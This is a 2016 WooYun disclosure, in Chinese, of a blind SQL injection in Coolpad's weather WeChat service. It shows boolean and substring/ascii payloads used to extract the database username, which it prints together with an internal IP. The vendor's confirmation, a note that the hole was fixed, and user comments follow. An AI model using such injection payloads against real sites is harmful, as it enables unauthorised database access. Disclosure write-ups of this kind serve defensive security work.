当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0199157

漏洞标题:酷派手机最美天气某处SQL注入(有趣的微信公众号注入)

相关厂商:yulong.com

漏洞作者: V1ct0r

提交时间:2016-04-22 01:50

修复时间:2016-06-06 15:20

公开时间:2016-06-06 15:20

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:9

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-22: 细节已通知厂商并且等待厂商处理中
2016-04-22: 厂商已经确认,细节仅向厂商公开
2016-05-02: 细节向核心白帽子及相关领域专家公开
2016-05-12: 细节向普通白帽子公开
2016-05-22: 细节向实习白帽子公开
2016-06-06: 细节向公众公开

简要描述:

前两天看到墨迹天气的微信注入,好像很有趣的样子...体验了一番才发现还是有点累...

详细说明:

index.png


http://www.coolyun.com/guide/weather.html

漏洞证明:

首先验证注入:

成都' and '1'='1
成都' and '1'='2


test1.png


test2.png


注入存在.
下面以user信息为例来进行获取:
读了下user长度...发现有20位...

成都' and (select length(user()))=20-- and 'a'='a


testuser1.png


之后就开始一位一位来:

成都' and ascii(substring(user(),1,1))>40-- and 'a'='a


testuser2.png


testuser3.png


...最终终于全部测出来了

final.png


即数据库的用户名为:weather@172.16.1.110

修复方案:

一切输入都是有害的

版权声明:转载请注明来源 V1ct0r@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2016-04-22 15:18

厂商回复:

感谢提供,酷派已成立SRC,欢迎提交到SRC,奖励丰厚,谢谢。

最新状态:

2016-04-22:http://security.coolpad.com

2016-04-25:此漏洞已于2016-4-22 17:32修复。


漏洞评价:

评价

  1. 2016-04-22 01:54 | 带头大哥 ( 普通白帽子 | Rank:851 漏洞数:251 | |任意邮件伪造| |目录遍历| |任意文件读取|...)

    支持我大90的表弟..

  2. 2016-04-22 01:56 | Adoubi ( 实习白帽子 | Rank:74 漏洞数:16 | Adoubi)

  3. 2016-04-22 09:25 | V1ct0r ( 普通白帽子 | Rank:361 漏洞数:77 | 生活不止眼前的苟且,还有黑客和远方.)

    @带头大哥 :p